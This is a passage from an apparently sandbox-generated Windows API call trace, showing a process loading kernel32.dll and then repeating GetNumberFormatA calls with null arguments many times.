hStdOutput=0x0, hStdError=0x0)) [0027.125] lstrcatW (in: lpString1="", lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0027.125] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.133] lstrlenA (lpString="") returned 0 [0027.133] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.135] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.136] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.137] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.138] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0027.139] GetNumberFormatA (in: Locale=0x0, 